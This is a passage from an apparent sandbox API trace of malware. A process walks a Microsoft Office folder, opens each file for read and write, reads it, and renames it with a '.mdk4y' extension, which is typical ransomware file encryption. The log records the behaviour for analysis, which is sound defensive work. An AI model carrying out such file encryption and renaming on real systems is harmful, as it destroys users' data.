hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0186.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826160800000) returned 1 [0186.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826160800000) returned 1 [0186.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.mdk4y")) returned 1 [0186.412] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.412] AreFileApisANSI () returned 1 [0186.412] GetACP () returned 0x4e4 [0186.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL.DEV_COL.HXC", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXCEL.DEV_COL.HXCDLL", lpUsedDefaultChar=0x37df4c) returned 17 [0186.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826164400000) returned 1 [0186.414] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x281, lpOverlapped=0x0) returned 1 [0186.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826165700000) returned 1 [0186.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826165700000) returned 1 [0186.427] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.mdk4y")) returned 1 [0186.428] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.428] AreFileApisANSI () returned 1 [0186.428] GetACP () returned 0x4e4 [0186.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL.DEV_COL.HXT", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXCEL.DEV_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 17 [0186.428] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826165900000) returned 1 [0186.429] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd1, lpOverlapped=0x0) returned 1 [0186.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826166000000) returned 1 [0186.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826166000000) returned 1 [0186.430] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.mdk4y")) returned 1 [0186.431] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.431] AreFileApisANSI () returned 1 [0186.431] GetACP () returned 0x4e4 [0186.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL.DEV_F_COL.HXK", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXCEL.DEV_F_COL.HXKL", lpUsedDefaultChar=0x37df4c) returned 19 [0186.431] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826166100000) returned 1 [0186.431] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0186.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826166200000) returned 1 [0186.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826166200000) returned 1 [0186.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.mdk4y")) returned 1 [0186.433] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.433] AreFileApisANSI () returned 1 [0186.433] GetACP () returned 0x4e4 [0186.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL.DEV_K_COL.HXK", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXCEL.DEV_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 19 [0186.433] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826166400000) returned 1 [0186.434] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0186.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826166500000) returned 1 [0186.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826166500000) returned 1 [0186.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.mdk4y")) returned 1 [0186.437] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.437] AreFileApisANSI () returned 1 [0186.437] GetACP () returned 0x4e4 [0186.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL.HXS", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXCEL.HXS_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 9 [0186.437] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826166700000) returned 1 [0186.438] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0186.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826172700000) returned 1 [0186.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826172700000) returned 1 [0186.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.mdk4y")) returned 1 [0186.508] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.508] AreFileApisANSI () returned 1 [0186.509] GetACP () returned 0x4e4 [0186.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL_COL.HXC", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXCEL_COL.HXCOL.HXK", lpUsedDefaultChar=0x37df4c) returned 13 [0186.509] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826174000000) returned 1 [0186.510] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26d, lpOverlapped=0x0) returned 1 [0186.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826180700000) returned 1 [0186.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826180700000) returned 1 [0186.578] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.mdk4y")) returned 1 [0186.579] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.579] AreFileApisANSI () returned 1 [0186.579] GetACP () returned 0x4e4 [0186.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL_COL.HXT", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXCEL_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 13 [0186.579] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826181000000) returned 1 [0186.580] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd, lpOverlapped=0x0) returned 1 [0186.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826181100000) returned 1 [0186.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826181100000) returned 1 [0186.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.mdk4y")) returned 1 [0186.582] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.582] AreFileApisANSI () returned 1 [0186.582] GetACP () returned 0x4e4 [0186.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL_F_COL.HXK", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXCEL_F_COL.HXK.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0186.582] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826181300000) returned 1 [0186.583] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0186.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826181400000) returned 1 [0186.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826181400000) returned 1 [0186.584] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.mdk4y")) returned 1 [0186.585] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.585] AreFileApisANSI () returned 1 [0186.585] GetACP () returned 0x4e4 [0186.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL_K_COL.HXK", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXCEL_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0186.585] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826181600000) returned 1 [0186.586] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0186.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826181600000) returned 1 [0186.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826181600000) returned 1 [0186.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.mdk4y")) returned 1 [0186.587] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.587] AreFileApisANSI () returned 1 [0186.587] GetACP () returned 0x4e4 [0186.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXPTOOWS.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXPTOOWS.DLLHXK", lpUsedDefaultChar=0x37df4c) returned 12 [0186.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826182100000) returned 1 [0186.592] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2f80, lpOverlapped=0x0) returned 1 [0186.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826182400000) returned 1 [0186.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826182400000) returned 1 [0186.594] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll.mdk4y")) returned 1 [0186.595] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.595] AreFileApisANSI () returned 1 [0186.595] GetACP () returned 0x4e4 [0186.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXPTOOWS.XLA", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EXPTOOWS.XLA", lpUsedDefaultChar=0x37df4c) returned 12 [0186.595] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826182600000) returned 1 [0186.596] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c000, lpOverlapped=0x0) returned 1 [0186.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826185700000) returned 1 [0186.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826185700000) returned 1 [0186.628] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla.mdk4y")) returned 1 [0186.629] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.629] AreFileApisANSI () returned 1 [0186.629] GetACP () returned 0x4e4 [0186.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FACILITY.VSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FACILITY.VSL", lpUsedDefaultChar=0x37df4c) returned 12 [0186.629] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826186100000) returned 1 [0186.631] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13f68, lpOverlapped=0x0) returned 1 [0186.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826188200000) returned 1 [0186.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826188200000) returned 1 [0186.653] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.mdk4y")) returned 1 [0186.654] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.654] AreFileApisANSI () returned 1 [0186.654] GetACP () returned 0x4e4 [0186.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FLOCH.VRD", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FLOCH.VRDVSL", lpUsedDefaultChar=0x37df4c) returned 9 [0186.654] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826188600000) returned 1 [0186.656] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ec, lpOverlapped=0x0) returned 1 [0186.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826190700000) returned 1 [0186.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826190700000) returned 1 [0186.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.mdk4y")) returned 1 [0186.679] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0186.679] AreFileApisANSI () returned 1 [0186.679] GetACP () returned 0x4e4 [0186.679] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FOREST.CSS", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FOREST.CSSSL", lpUsedDefaultChar=0x37df4c) returned 10 [0186.679] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0186.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826191000000) returned 1 [0186.680] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0186.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826193200000) returned 1 [0186.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826193200000) returned 1 [0186.703] MoveFileA 